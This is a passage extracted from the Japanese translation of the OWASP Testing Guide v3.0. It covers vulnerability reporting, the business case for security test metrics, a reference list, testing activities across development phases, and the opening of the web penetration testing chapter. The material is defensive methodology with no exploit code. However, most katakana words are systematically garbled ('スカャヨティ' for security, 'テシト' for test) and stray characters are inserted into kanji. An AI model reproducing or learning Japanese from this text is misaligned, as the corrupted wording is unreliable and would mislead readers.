• 問 題 点 がさらされているスカャヨティの 脅 威姕<br />

• スカャヨティの 問 題 点 の 根 本 的 な 原 因 ( 例 えば、スカャヨティバギ、 瑕 疵 (かし''<br />

• 脆 弱 性 の 発 見 に 使 用 したテシト 技 法<br />

• 脆 弱 性 の 改 善 策 ( 例 えば、 対 策 '<br />

• 脆 弱 性 のヨシキ 評 価 値 ( 高 、 中 、 低 '<br />

スカャヨティの 脅 威姕 が 何 であるか 記 述 することによって、 脅 威姕 を 緩 和 することに 対 して、 緩 和 策 が 有 効 か、 有 効 でないかを、<br />

また、その 理 由 についても 理 解 することができるでしょう。<br />

問 題 点 の 根 本 的 な 原 因 を 報 告 することによって、 何 を 修 正 すべきかを 正 確 に 特牐 定 するのに 役 立 つ8 例 えば、ベワロイトペッキ<br />

シテシトの 事 例 では、セフトウェアスカャヨティの 脆 弱 性 の 根 本 原 因 は 厄 介 なセーシケードでしょう。<br />

問 題 点 が 報 告 された 後 で、どのように 脆 弱 性 を 再 度 テシトして、 発 見 するかについて、セフトウェア 開 発 者 にオイドョイヱを 提<br />

供 することもまた 重 要 です。これは、ケードが 脆 弱 かどうかを 発 見 するために、ベワロイトペッキシテシト 技 法 ( 例 えば、 静 的 なケ<br />

ードアナョイゴによって、 安 全 なケードリビャーを 行 う'を 用 いることも 含 んでいます。もし 脆 弱 性 がブョッキペッキシテシト 技<br />

法 ( 侵 入 テシト'で 発 見 できるのであれば、テシト 報 告 書 は、 脆 弱 性 がフルヱトウヱド( 例 えば、キョイアヱト'に 暴 露 されている<br />

ことを、どのように 検 証 するかについて、 情 報 を 提 供 する 必 要 があります。<br />

どのように 脆 弱 性 を 修 正 すべきかについての 情 報 は、 開 発 者 が 修 正 を 実 行 するために 十 分 な 程 度 に 詳 細 に 記 述 しなけれ<br />

ばなりません。 安 全 なケーディヱギ 例 、 構 成 変 更 、および、 適遚 切 な 参 考 情 報 を 提 供 しなければなりません。<br />

最 後 に、ヨシキ 評 価 値 を 用 いて、 改 善 の 努 力 に 優 先 順 位 を 付 けることができます。 典 型 的 には、 脆 弱 性 にヨシキ 値 を 割 り 当 て<br />

ることは、 影 響 度 と 暴 露 率狨 のような 要 因 に 基 づいてヨシキ 分 析 することを 含 んでいます。<br />

事 業 計 画<br />

スカャヨティテシトの 計 測 方 法 が 有 用 であるためには、プルザェキトボネーザメ、 開 発 者 、 情 報 スカャヨティ 室 、 監 査 人 、CIO<br />

( 最 高 情 報 責 任 者 'のような、 組 織 のスカャヨティテシトデーソの 利 害 関 係 者 に 価 値 を 提 供 する 必 要 があります。 価 値 という<br />

のは、 事 業 計 画 における 用 語 であり、それぞれのプルザェキトの 利 害 関 係 者 が 役 割 と 責 任 に 応 じて 持 っているものになりま<br />

す。<br />

43


セフトウェア 開 発 者 は、スカャヨティテシトデーソを 見 て、セフトウェアが、より 安 全 で 効 率狨 的 にケーディヱギされていることを 示<br />

すことができます。それによって、セーシケード 解 析 ツーラを 使 う 事 例 ができ、また、 安 全 なケーディヱギ 標 準 に 従 い、セフト<br />

ウェアスカャヨティ 研 修 に 参 加 します。<br />

プルザェキトボネーザメは、デーソを 見 て、プルザェキト 計 画 に 従 って、 成 功 裏 に、スカャヨティテシト 活 動 とヨセーシを 利 用 し、<br />

管 理 していることを 可 能 にしているデーソを 探 します。プルザェキトボネーザメーにとっては、スカャヨティテシトデーソは、プ<br />

ルザェキトがシクザャーラ 通 りであって、 納 期 に 合 わわせた 目 標 に 向 かって 進逭 んでおり、テシト 実 施 中 に 改 善 されていることを<br />

示 すものです。<br />

もし、 情 報 スカャヨティ 室 (ISOs'から 指 示 が 来 るのであれば、スカャヨティテシトデーソは、スカャヨティテシトの 事 業 計 画 に 役<br />

立 ちます。 例 えば、SDLC の 間 のスカャヨティテシトは、プルザェキトの 納 期 に 影 響 を 与 えていないことと、むしろ、 開 発 後 期 に<br />

脆 弱 性 に 対 処 していたら 必 要 であった 全 体 作 業 量 を 減 少 させているという 証 拠 を 提 供 することができます。<br />

監 査 人 に 対 しては、スカャヨティテシトの 計 測 によって、 組 織 の 中 で、スカャヨティリビャープルスシを 通 じて、スカャヨティ 標<br />

準 に 準 拠 しているとの 主 張 について、セフトウェアのスカャヨティの 保 証 と 信 頼 のリプラが 提 供 しています。<br />

最 後 に、スカャヨティヨセーシに 割 り 当 てる 必 要 がある 予 算 に 関 して 責 任 がある、 最 高 情 報 責 任 者 (CIOs'と 最 高 情 報 スカャヨ<br />

ティ 責 任 者 (CISOs'は、どのスカャヨティ 活 動 とツーラに 投 資 するべきかについて、 情 報 に 基 づいた 判 断 を 行 うために、スカ<br />

ャヨティテシトデーソからケシト/ 利 益 分 析 を 導 き 出 そうとします。このような 分 析 を 支 援 する 計 測 方 法 の1つがスカャヨティの<br />

投 資 利 回 り(ROI'[Y23]です。スカャヨティテシトデーソからこのような 計 測 デーソを 得 るためには、 脆 弱 性 の 露 出 のためのヨ<br />

シキと、スカャヨティヨシキを 緩 和 させるためのスカャヨティテシトの 効 果 の 差 異 を 定 量 化 し、このガメップと、スカャヨティテシト<br />

の 活 動 または 採 用 したテシトツーラのケシトを 考 慮 に 入 れることが 重 要 です。<br />

参 考 文 献<br />

[1] トマ・」デ・」ボラケ (T. De Marco), Controlling Software Projects: Management, Measurement and Estimation, Yourdon Press, 1982、『 品 質<br />

と 生 産 性 を 重 視 したセフトウェア 開 発 プルザェキト 技 法 - 見 積 り・ 設 計 ・テシトの 効 果 的 な 構 造造 化 』、 近 代 科 学婲 社 、1987 年<br />

[2] S. ペアンヱ (S. Payne), スカャヨティ 定 量 化 オイド - http://www.sans.org/reading_room/whitepapers/auditing/55.php<br />

[3] 米 国 標 準 技 術 研 究 所 (NIST), 不 適遚 切 なセフトウェアテシト 基 盤 がもたらす 経 済 的 影 響 -<br />

http://www.nist.gov/public_affairs/releases/n02-10.htm<br />

[4] ルシ・アヱゾーセヱ (Ross Anderson), 経 済 学婲 とスカャヨティ 資 源 のヘーザ - http://www.cl.cam.ac.uk/users/rja14/econsec.html<br />

[5] デニシ・」バードヱ (Denis Verdon), セフト 開 発 者 に 釣 りの 仕 方 を 教 える - http://www.owasp.org/index.php/<strong>OWASP</strong>_AppSec_NYC_2004<br />

[6] ブラーシ・」サャナイアー (Bruce Schneier), 暗 号 文 2000 年 9 月 号 - http://www.schneier.com/crypto-gram-0009.html<br />

[7] サボヱテッキ 社 , 脅 威姕 リホート - http://www.symantec.com/business/theme.jsp?themeid=threatreport<br />

[8] 米 国 連連 邦邅 取 引 委 員 会 (FTC), ギョマ・」ヨータ・ブョイヨー 法 - http://www.ftc.gov/privacy/privacyinitiatives/glbact.html<br />

[9] ピーシ 上 院 議 員 及 びサポティアヱ 下 院 議 員 、SB1386、 米 国 ォヨフェラニア 州 新 プョイバサー 法 - http://www.leginfo.ca.gov/pub/01-<br />

02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html<br />

44


<strong>OWASP</strong> Testing Guide v3.0<br />

[10] EU 指 令 96/46/EC、 個 人 デーソ 処 理 に 係 る 個 人 の 保 護 及 び 当 該 デーソの 自 由 な 移 動 に 関 する 欧 州 議 会 及 び 理 事 会 指 令 -<br />

http://ec.europa.eu/justice_home/fsj/privacy/docs/95-46-ce/dir1995-46_part1_en.pdf<br />

[11] 米 国 標 準 技 術 研 究 所 (NIST), IT サシテマのためのヨシキボネザミヱトオイド - http://csrc.nist.gov/publications/nistpubs/800-30/sp800-<br />

30.pdf<br />

[12] ォーネガーミルヱ 大 学婲 セフトウェア 工 学婲 研 究 所 、 運遀 用 における 重 要 な 脅 威姕 、 資 産 及 び 脆 弱 性 の 評 価 (OCTAVE) -<br />

http://www.cert.org/octave/<br />

[13] クヱ・トヱプセヱ、 信 用 を 信 じることの 考 察 、ACM( 米 国 計 算 機 学婲 会 ' 学婲 会 誌 からの 転 載 - http://cm.belllabs.com/who/ken/trust.html<br />

[14] グーヨー・ボギルー、「 悪 性 度 測 定 器 」を 越 えて - http://www.ddj.com/security/189500001<br />

[15] 米 国 連連 邦邅 金 融 機 関 検 査 協 議 会 (FFIEC)、イヱソーネットバヱカヱギ 環 境 における 認 証 -<br />

http://www.ffiec.gov/pdf/authentication_guidance.pdf<br />

[16] ヘイミヱトォード 業 界 スカャヨティ 標 準 協 議 会 (PCI SSC), PCI デーソスカャヨティ 標 準 (PCI DSS) -<br />

https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml<br />

[17] ボイキルセフト 開 発 者 ネットワローキ(MSDN), 一 覧 8ウェブアプヨクーサュヱのフリーマ - http://msdn.microsoft.com/enus/library/ms978518.aspx#tmwacheatsheet_webappsecurityframe<br />

[18] ボイキルセフト 開 発 者 ネットワローキ(MSDN), ウェブアプリクーサュヱスカャヨティ 強 化 / 第 2 章 脅 威姕 とその 対 策 -<br />

http://msdn.microsoft.com/ja-jp/library/aa302418.aspx<br />

[19] ガラ・リグフ、イアヱ・」アリキコヱゾー、アョイヱ・ウェギボヱ(Gil Regev, Ian Alexander,Alain Wegmann), ヤーシクーシ( 使 用 事 例 'とポシ<br />

ヤーシクーシ( 誤 使 用 事 例 'による、ビザネシプルスシの 規 制 上 の 役 割 のムデラ 化 -<br />

http://easyweb.easynet.co.uk/~iany/consultancy/regulatory_processes/regulatory_processes.htm<br />

[20] サヱドラ・G・エプドボラ・? (Sindre,G. Opdmal A)., ポシヤーシクーシ( 誤 使 用 事 例 'を 通 じてスカャヨティ 上 の 要 求 事 項 を 把 握 する -<br />

http://folk.uio.no/nik/2001/21-sindre.pdf<br />

[21] セフトウェア 開 発 ョイフコイキラ 全 体 のスカャヨティに 関 するソシキフェーシ、クイパーザューヱジ 社 からデーソ 参 照 、セフトウェアの 評<br />

価 、プヱタボーキ 及 びプシトプョキティシ - http://www.cyberpartnership.org/SDLCFULL.pdf<br />

[22] 米 国 MITRE 社 , 脆 弱 性 を 明 示 しよう、ショイド 30、 共 通 脆 弱 性 ソイプ 一 覧 (CWE) - http://cwe.mitre.org/documents/beingexplicit/BlackHatDC_BeingExplicit_Slides.ppt<br />

[23] ボラケ・」ムョナ (Marco Morana), セフトウェアョイフコイキラの 中 でスカャヨティを 構 築 する/ 事 業 計 画 -<br />

http://www.blackhat.com/presentations/bh-usa-06/bh-us-06-Morana-R3.0.pdf<br />

45


3. <strong>OWASP</strong> テステの 枠 組 み<br />

概 要<br />

このスキサュヱは 組 織 の 中 で 展 開 することができる、 典 型 的 なテシトの 枠 組 みを 説 明 します。この 枠 組 みは、セフト 開 発 ョイフ<br />

コイキラ(SDLC'の 種 々のフェージにおいて、 適遚 切 な 技 法 とソシキを 構 成 する 参 照 用 のものとして 見 ることができます。 会 社 と<br />

プルザェキトターマは、このムデラを 用 いて、 自 分 自 身 のテシトの 枠 組 みを 開 発 することができます。その 範 囲 は、テシト 実<br />

施 コービシから、プヱゾーまでを 含 んでいます。この 枠 組 みは 命 令 するようなものではなく、 組 織 の 開 発 プルスシや 文 化 に<br />

合 わわせて 拡 張 し、 形 成 することができる、 柔 軟 なアプルータとしてであると 考 えてください。<br />

このスキサュヱは、 組 織 が 完媍 全 な 戦 略 上 のテシトプルスシを 構 築 するのを 支 援 することを 目 指 しており、より 戦 術 的 で、 特牐 定<br />

の 領 域 のテシトに 従 事 することが 多 いケヱコラソヱトや、 契 約 者 向 けではありません。<br />

セフトウェアスカャヨティを 評 価 して、 改 善 するために、なぜ、 最 初 から 最 後 までのテシトの 枠 組 みを 構 築 することが 決 定 的 で<br />

あるかを 理 解 することが 重 要 です。ハワロードとラブョヱは、Writing Secure Code、『プルギョボのためのスカャヨティ 対 策 テキ<br />

ニッキ』の 中 で、ボイキルセフト 社 がスカャヨティ 情 報 を 公 表 するために 少 なくとも 10 万 ドラ( 約 900 万 円 'のケシトがかかり、<br />

ヤーゴがスカャヨティパッタを 実 行 するために、 寄 せ 集 めれば、はるかに 多 くのケシトがかかっていることを 指 摘 しています。<br />

一 方 、 米 国 政 府 のコイバー 犯物 罪 ウェブコイト(http://www.cybercrime.gov/cccases.html)では、 最 近 の 刑 事 事 件 と 組 織 に 対<br />

する 損 失 を 詳 述 していることを 指 摘 しています。 典 型 的 な 損 失 は、10 万 ドラをはるかに 超 えています。<br />

このような 経 済 学婲 を 考 えると、セフトウェアプヱゾーが、ただ 単 に、すでに 開 発 されたアプヨクーサュヱに 対 して 実 行 できるだ<br />

けであるブョッキペッキシスカャヨティテシトから、 定 義 、 設 計 、および、 開 発 のようなアプヨクーサュヱ 開 発 の 初 期 のコイキラ<br />

に 集 中 することに 移 行 しないのは 少 し 不 思 議 です。<br />

多 くのスカャヨティ 専 門 家 が 侵 入 テシトの 領 域 でまだスカャヨティテシトを 実 施 しています。すでに 述 べたように、 侵 入 テシト<br />

には 一 定 の 役 割 がありますが、 一 般 にバギを 発 見 するには 効 率狨 的 でなく、そして、テシト 実 施 者 には 高 い 技 術 力 が 要 求 さ<br />

れます。 侵 入 テシトは、ただ 単 に 実 装 時 の 技 術 として、あるいは、 運遀 用 サシテマの 問 題 点 に 注 目 を 集 めるために 使 用 するべ<br />

きです。アプヨクーサュヱのスカャヨティを 改 善 するためには、セフトウェアのスカャヨティ 品 質 を 改 善 しなくてはなりません。こ<br />

れは、ケードが 完媍 全 に 構 築 されるまで 待 つという 高 価 な 戦 略 に 頼 らず、 定 義 、 設 計 、 開 発 、 実 装 、および、 運遀 用 の 各 段 階 で<br />

スカャヨティのテシトを 実 施 することを 意 味 します。<br />

この 文 書 のイヱトルゾキサュヱで 議 論 したように、ョサュナラ 統 一 プルスシ、ウキシトヨーマ・」プルギョポヱギ、アザメイラ 開 発 、お<br />

よび、 伝 統 的 なウェーソーフェーラ 開 発 などの 数 多 くの 開 発 方 法 論 があります。このオイドの 意 図 は、 特牐 定 の 開 発 方 法 論 を<br />

推 奨 するものではなく、また、 特牐 定 の 方 法 論 に 密 着 した 特牐 定 のオイドを 提 供 するものでもありません。その 代 わわりに、 一 般 的<br />

な 開 発 ムデラを 提 示 しますので、 読 者 は 自 分 たちの 組 織 のプルスシにしたがって 理 解 してください。<br />

このテシトの 枠 組 みは、 実 施 すべきである 次 の 活 動 から 構 成 されます8<br />

• 開 発 開 始妵 前<br />

• 定 義 および 設 計 中<br />

• 開 発 中<br />

• 実 装 中<br />

46


<strong>OWASP</strong> Testing Guide v3.0<br />

• 維 持 と 運遀 用<br />

フェーズ1: 開 発 が 始 まる 前 に<br />

アプヨクーサュヱ 開 発 がシソートする 前 に8<br />

• スカャヨティが 備 わわった、 適遚 切 な SDLC があることを 保 証 するためにテシトしてください<br />

• 適遚 切 な 内 部邪 規 定 と 標 準 が 開 発 ターマのために 有 効 であることを 確 認 するためにテシトしてください<br />

• 測 定 方 法 と 測 定 基 準 を 開 発 してください<br />

フェーズ 1A: 内 部 規 程 と 標 準 のレパャー<br />

決 まった 場 所 に、 適遚 切 な 内 部邪 規 程 、 標 準 、および、 文 書 があることを 確 認 してください。 開 発 ターマにオイドョイヱや 内 部邪 規<br />

程 を 与 えるので、 文 書 は 極 めて 重 要 です。<br />

正 しいことをすることができるのは、 何 が 正 しいかを 知 っているときだけです。<br />

もしアプヨクーサュヱが Java で 開 発 されるなら、Java の 安 全 なケーディヱギ 標 準 があることは 不 可 欠 です。もしアプヨクーサュ<br />

ヱが 暗 号 を 使 うのであれば、 標 準 的 な 暗 号 があることは 不 可 欠 です。 内 部邪 規 程 あるいは 標 準 が、 開 発 ターマが 直 面 するで<br />

あろうすべての 状牮 況 をォバーすることができません。 広 く 知 られている、 予 測 可 能 な 問 題 点 を、あらかじめ 文 書 化 しておくこ<br />

とによって、 開 発 プルスシ 中 に 実 施 しなければならない 判 断 を 少 なくすることができるでしょう。<br />

フェーズ 1B: 測 定 方 法 と 測 定 基 準 の 開 発 ( 追 跡 可 能 性 の 確 認 )<br />

開 発 が 始妵 まる 前 に、 測 定 計 画 を 立 案 してください。 測 定 する 必 要 がある 基 準 を 定 義 することによって、それはプルスシと 製 品<br />

の 双 方 で 不 具 合 を 見 えるようにします。 開 発 が 始妵 まる 前 に 測 定 方 法 を 定 義 することは 不 可 欠 です。デーソを 取 得 するため<br />

にプルスシを 修 正 する 必 要 があるかもしれません。<br />

フェーズ 2: 定 義 およびび 設 計 中<br />

フェーズ 2A: スキャリテァ 要 求 事 項 の 監 査<br />

スカャヨティ 要 求 事 項 は、スカャヨティの 視 点 から、アプヨクーサュヱがどのように 機 能 するか 定 義 します。スカャヨティ 要 求 事<br />

項 がテシトされることは 不 可 欠 です。この 事 例 のテシトは、 要 求 事 項 の 前 提 条 件 のテシトと、 要 求 事 項 の 定 義 と 現 状牮 にガメッ<br />

プがあるかどうか 見 るためのテシトを 実 施 します。<br />

例 えば、もし、ヤーゴーがウェブコイトのベワロイトヘーパースキサュヱにアキスシする 前 に 登 録 されていなければならないとい<br />

う 要 求 事 項 があった 場 合 、ヤーゴはサシテマに 登 録 しないといけないのか、ヤーゴを 認 証 するのかが 不 明 です。 要 求 事 項<br />

は、できる 限 り 明 快 であるようにしてください。<br />

要 求 事 項 のガメップを 探 すときは、 次 のようなスカャヨティ 機 構 を 見 ることを 考 えてください<br />

• ヤーゴ 管 理 (パシワロード 初 期 化 など'<br />

47


• 認 証<br />

• 認 可<br />

• デーソの 機 密 性<br />

• 完媍 全 性<br />

• 責 任 追 跡 性 / 説 明 責 任<br />

• スッサュヱ 管 理<br />

• 移 送 のスカャヨティ<br />

• 多 段 階 のサシテマ 隔 離<br />

• プョイバサー( 個 人 情 報 保 護 '<br />

フェーズ 2B: 基 本 設 計 と 詳 細 設 計 のレパャー<br />

アプヨクーサュヱには、 文 書 化 された 基 本 設 計 書 と 詳 細 設 計 書 がなければなりません。 文 書 化 とは、ムデラ、テカシト 形 式 の<br />

文 書 、その 他 の 類 似 した 生 成 物片 を 意 味 します。このような 生 成 物片 をテシトして、 要 求 事 項 で 定 義 されたように、 適遚 切 なリプラ<br />

のスカャヨティを 強 制 するような 基 本 設 計 、 詳 細 設 計 になっているかを 確 認 することが 不 可 欠 です。<br />

設 計 フェージでスカャヨティの 瑕 疵 (かし'を 特牐 定 することは、 単 に 瑕 疵 を 特牐 定 するために 最 もケシト 的 に 効 率狨 的 な 場 所 であ<br />

るというだけでなく、 変 更 をするにも 最 も 有 効 な 場 所 の1つです。 例 えば、もし 多 数 の 場 所 で 認 可 決 定 の 処 理 が 実 行 されて<br />

いたら、 中 心 的 な 認 可 ケヱホーネヱトを 考 慮 することは 適遚 当 であるかもしれません。 もしアプヨクーサュヱが 多 数 の 場 所 でデ<br />

ーソ 妥妞 当 性 検 査 を 行 なっているなら、 中 心 的 に 認 可 を 実 施 する 枠 組 みを 開 発 するのが 適遚 切 かもしれません。(1つの 場 所<br />

の 入 力 検 証 を 修 正 するのは、 数 百 の 場 所 を 修 正 するよりも、ずっと 低 ケシトで 済 みます。<br />

もし 弱 点 が 発 見 されたら、 代 替 アプルータのためにサシテマ 設 計 者 に 情 報 を 提 供 します。<br />

フェーズ 2C: UML ムデルの 生 成 とレパャー<br />

基 本 設 計 と 詳 細 設 計 が 完媍 了 したら、 統 一 されたムデヨヱギ 言 語 (UML'ムデラを 利 用 して、アプヨクーサュヱがどのように 機<br />

能 するかを 記 述 してください。ある 場 合 には、これらはすでに 利 用 可 能 かもしれません。これらのムデラを 使 用 して、サシテ<br />

マ 設 計 者 と 一 緒 にアプヨクーサュヱがどのように 機 能 するかについて、 正 確 に 理 解 してください。もし 弱 点 が 発 見 されたら、<br />

代 替 アプルータのためにサシテマ 設 計 者 に 情 報 を 提 供 します。<br />

フェーズ 2D: 脅 威 ムデルの 生 成 とレパャー<br />

基 本 設 計 と 詳 細 設 計 リビャーで 理 論 武 装 し、UML ムデラによって、 正 確 にサシテマがどのように 機 能 するかの 説 明 がある<br />

ので、 脅 威姕 ムデラ 作 成 に 着 手 してください。 現 実 的 な 脅 威姕 サナヨエを 開 発 してください。 基 本 設 計 と 詳 細 設 計 を 分 析 して、<br />

脅 威姕 を 低 減 するか、 事 業 によって 受 容 するか、あるいは 保 険 会 社 のような、 第 三 者 に 移 転 するかを 確 認 してください。 特牐 定<br />

された 脅 威姕 がまったく 低 減 されていなかった 場 合 、 設 計 者 を 再 訪 し、 設 計 変 更 について 検 討 してください。<br />

48


<strong>OWASP</strong> Testing Guide v3.0<br />

フェーズ 3: 開 発 中<br />

理 論 的 には、 開 発 は 詳 細 設 計 の 実 装 です。しかしながら、 現 実 の 世 界 では、ケード 開 発 中 にも、 多 くの 詳 細 設 計 の 判 断 が<br />

下 されます。これらは、 詳 細 設 計 の 段 階 で 記 載 するには 細 かすぎたか、 内 部邪 規 程 や 標 準 にオイドョイヱが 掲 載 されていな<br />

かったものが 多 くあります。もし 基 本 設 計 と 詳 細 設 計 が 適遚 切 でなければ、 開 発 者 は 多 くの 決 定 に 直 面 するでしょう。もし 内 部邪<br />

規 程 や 標 準 が 不 十 分 であれば、 開 発 者 はさらにもっと 多 くの 決 定 に 直 面 するでしょう。<br />

フェーズ 3A: ケーデのウォークスルー<br />

スカャヨティターマは 開 発 者 と 一 緒 に、ときには、サシテマ 設 計 者 とともに、ケードのウェーキシラーを 行 なわわなければなりま<br />

せん。ケードのウェーキシラーは、 開 発 者 が 実 装 されたケードのルザッキと 流 れを 説 明 することができる、 高 水 準 のウェーキシ<br />

ラーです。ケードリビャーターマは、ケードについて 一 般 的 に 理 解 し、 開 発 者 は、ケードの 設 計 理 由 を 説 明 します。<br />

目 的 はケードリビャーを 行 なうことではなくて、 高 いリプラで、アプヨクーサュヱを 構 成 するケードの 流 れや、リイアウト、 構 造造<br />

を 理 解 することです。<br />

フェーズ 3B: ケーデレパャー<br />

テシト 実 施 者 は、ケードがどのように 構 造造 化 されるか、また、ケードがなぜそのようにケーディヱギされたかについて、 十 分 な<br />

理 解 を 持 っているので、 実 際 にケードを 調 査 し、スカャヨティの 不 具 合 を 調 べることができます。<br />

静 的 なケードリビャーによって、タェッキヨシトのスットに 対 してケードを 検 証 します。 次 の 項 目 を 含 みます8<br />

• 可 用 性 、 機 密 性 、 完媍 全 性 についての 事 業 上 の 要 求 事 項 。<br />

• 技 術 的 暴 露 に 対 して <strong>OWASP</strong> オイドまたはトップ 10 のタェッキヨシト(リビャーの 深 さによる'<br />

• PHP のシォーリットヘーパ、ボイキルセフトの ASP.NET のためのスカャアケーディヱギ・タェッキヨシトのような、 使 用 し<br />

ている 言 語 またはフリーマワローキ( 枠 組 み'に 関 係 する 特牐 定 の 問 題 点<br />

• コープヱシ・エッキシリイ 法 404、COPPA、ISO/IEC 27001、APRA、HIPAA、Visa ボータメヱトオイドョイヱ、あるいは 他<br />

の 規 制 上 の 体 制 のような、すべての 業 界 に 特牐 有 の 要 求 事 項<br />

投 資 されたヨセーシ( 主 として 時 間 'のヨソーヱとしては、 静 的 なケードリビャーが 他 のいかなるスカャヨティリビャー 方 法 よりも<br />

はるかに 質 が 高 い 収 益 を 産 み 出 し、しかも、リビャー 実 施 者 のシカラにほとんど 依 存 しません。しかし、( 狼犒 男 を 一 発 で 撃 退<br />

するような' 銀 の 弾 丸 ではなく、テシト 体 制 全 体 の 中 で 考 慮 する 必 要 があります。<br />

<strong>OWASP</strong> のタェッキヨシトの 詳 細 については、<strong>OWASP</strong> Guide for Secure Web Applications、あるいは <strong>OWASP</strong> Top 10 の 最 新 爮<br />

に 言 及 してください。<br />

49


フェーズ 4: 実 装 中<br />

フェーズ 4A: アプリクーシュンヱ 侵 入 テステ<br />

要 求 事 項 をテシトして、 設 計 を 分 析 し、ケードリビャーを 行 なって、すべての 問 題 がとらえられたと 想 定 されるかもしれません。<br />

そのように 望 みたいところですが、アプヨクーサュヱが 実 装 された 後 も、 何 も 間 遊 いがなかったことを 確 実 にするために、 侵<br />

入 テシトが 最 後 のタェッキを 提 供 します。<br />

フェーズ 4B: ケンヱファギャレーシュンヱ 管 理 のテステ<br />

アプヨクーサュヱ 侵 入 テシトは、ネットワローキ 基 盤 がどのように 実 装 され、 安 全 に 保 持 されているかも 含 めなければなりません。<br />

アプヨクーサュヱが 安 全 でも、 構 成 の 一 部邪 がデフェラトでイヱシトーラされていて、 脆 弱 性 が 攻 略 を 受 けることがあります。<br />

フェーズ 5: 維 持 と 運 用<br />

フェーズ 5A: 運 用 管 理 レパャーの 実 施<br />

アプヨクーサュヱとネットワローキ 基 盤 の 双 方 について、 運遀 用 面 でどのように 管 理 されているかに 関 する 詳 細 なプルスシが 存 在<br />

する 必 要 があります。<br />

フェーズ 5B: 定 期 的 なヘルスタェチクの 実 施<br />

毎 月 、または、 四 半 期 に 1 回 、アプヨクーサュヱとネットワローキ 基 盤 に 対 してブラシタェッキが 実 施 され、 新 規 の 脆 弱 性 が 生<br />

じておらず、また、スカャヨティのリプラが 維 持 されていることを 確 認 します。<br />

フェーズ 5C: 変 更 検 証 の 確 認<br />

すべての 変 更 が 承 認 され、 品 質 管 理 環 境 でテシトされてから、 運遀 用 環 境 に 実 装 されます。 重 要 な 変 化 管 理 プルスシの 一 部邪<br />

として、 変 更 は、 変 更 によってスカャヨティリプラが 影 響 を 受 けないことを 確 認 します。<br />

典 型 的 な SDLC におけるテスト<br />

テストのワークフロー<br />

次 の 図 は 典 型 的 な SDLC のテシトのワローキフルー( 業 務 の 流 れ'を 示 しています。<br />

50


<strong>OWASP</strong> Testing Guide v3.0<br />

51


4.ウェブアプリ<br />

ウェブアプリクーシュンヱ 侵 入 テステ<br />

この 章 では、<strong>OWASP</strong> のウェブアプヨクーサュヱ 侵 入 テシト 方 法 、および 各 脆 弱 性 を 確 認 する 方 法 について 説 明 します。<br />

4.1 導 入 と 目 的<br />

ウェブアプヨクーサュヱ 侵 入 テシトとは 何 か?=<br />

侵 入 テシトとは、 擬 似 的 な 攻 撃 によってネットワローキ、あるいはケヱピャーソサシテマのスカャヨティを 評 価 する 技 法 のことをい<br />

います。ウェブアプヨクーサュヱ 侵 入 テシトは、 主 にウェブアプヨクーサュヱのスカャヨティを 評 価 することを 目 的 としたもので<br />

す。<br />

この 診 断 過遃 程 は、アプヨクーサュヱの 弱 点 や、 技 術 的 な 不 具 合 、あるいは 脆 弱 性 などに 対 しての 能 動 的 な 分 析 を 伴 います。<br />

見 つけられたスカャヨティの 問 題 は、それら 問 題 に 関 する 影 響 度 や、 場 合 によってはその 問 題 を 回 避遪 するための 方 法 や 技<br />

術 的 な 解 決 策 などの 提 案 と 併 せて 対 象 のサシテマ 所 有 者 に 提 示 することになります。<br />

脆 弱 性 とは 何 か?<br />

脆 弱 性 とは、サシテマの 設 計 や 導 入 時 における 不 具 合 もしくは 弱 点 、あるいはそのサシテマのスカャヨティホヨサーを 破 壊 す<br />

る 攻 撃 を 受 けてしまうことが 可 能 な 管 理 または 運遀 用 の 状牮 態 、をいいます。 脅 威姕 とは、 脆 弱 性 を 利 用 することによって、アプヨ<br />

クーサュヱが 保 有 している 資 産 (ファイラサシテマやデーソプーシに 格 納 されたデーソのような 情 報 資 産 'に 害 を 及 ぼす 潜<br />

在 的 な 可 能 性 をいいます。テシトとは、アプヨクーサュヱの 脆 弱 性 を 示 すための 行 為 をいいます。<br />

<strong>OWASP</strong> のテステ<br />

手 法 とは 何 か?<br />

侵 入 テシトは、すべての 潜 在 的 な 問 題 点 を 明 確 にするような 正 確 な 技 法 ではありません。それでいて 一 定 の 状牮 況 下 におけ<br />

るウェブアプヨクーサュヱのスカャヨティをテシトすることに 対 して 唯 一 の 適遚 した 技 法 であるといえます。テシトの 最 終 的 な 目 的<br />

は、 実 施 可 能 な 全 てのテシト 技 術 を 収 集 し、その 概 要 を 説 明 し、 当 オイドに 反 映 していくことです。<strong>OWASP</strong> のテシト 手 法 は、<br />

ブョッキペッキシテシトに 基 づいています。このため、 検 査 者 はテシトするアプヨクーサュヱに 関 する 情 報 を 全 く 知 らないか、あ<br />

るいはほとんど 知 りません。テシトの 体 系 は 次 から 構 成 されます。<br />

• 検 査 者 :テストを 実 施 する 者<br />

• ツールや 手 法 : 当 テスティングガイドプロジェクトの 中 核<br />

• アプリケーション:ブラックボックスによるテスト<br />

テストは 2 つのフェーズに 分 類 できます。<br />

• 受 動 的 手 法 : 受 動 的 手 法 では、 検 査 者 はまずそのテシト 対 象 であるアプヨクーサュヱを 操 作 し、そのルザッキを 理 解<br />

することに 注 力 します。ツーラも 対 象 のアプヨクーサュヱに 関 する 情 報 を 収 集 するために 用 いられます。 例 えば、<br />

HTTP プルカサツーラは、 全 ての HTTP ヨキウシトおよびリシホヱシを 調 査 するために 用 いられます。この 章 の 終 了<br />

時 点 で 検 査 者 は 対 象 のアプリケーションにおいてアクセス 可 能 な 箇 所 (HTTP ヘッダや、パラメータ、<br />

Cookie など)を 全 て 把 握 していなければなりません。 受 動 的 手 法 がどのように 行 われるかについては<br />

「 情 報 収 集 」の 章 で 説 明 しています。 例 を 見 てみましょう。 検 査 者 は 以 下 のサイトを 見 つけたとします。<br />

https://www.example.com/login/Authentic_Form.html<br />

この URL からアキスシしたコイトは、ヤーゴーネーマ、パシワロードを 要 求 するような 認 証 ヘーザではないかと 推 測 で<br />

きます。 以 下 のパョミーソはアプヨクーサュヱにアキスシする 箇 所 を 2 つ 表 しています。<br />

52


<strong>OWASP</strong> Testing Guide v3.0<br />

http://www.example.com/Appx.jsp?a=1&b=1<br />

この 場 合 、URL は 対 象 のアプクーサュヱへの 2 つの 出 入 口 (パョミーソ“a”,“b”'の 存 在 を 示 しています。このフェー<br />

ジで 見 つかった 全 ての 出 入 口 が、テシトするための 箇 所 を 表 しています。 対 象 のアプヨクーサュヱのディリキトヨ 構<br />

成 や、アキスシ 可 能 な 全 ての 箇 所 を 表 形 式 に 表 したものが、 能 動 的 手 法 のフェージでは 有 益 な 情 報 となります。<br />
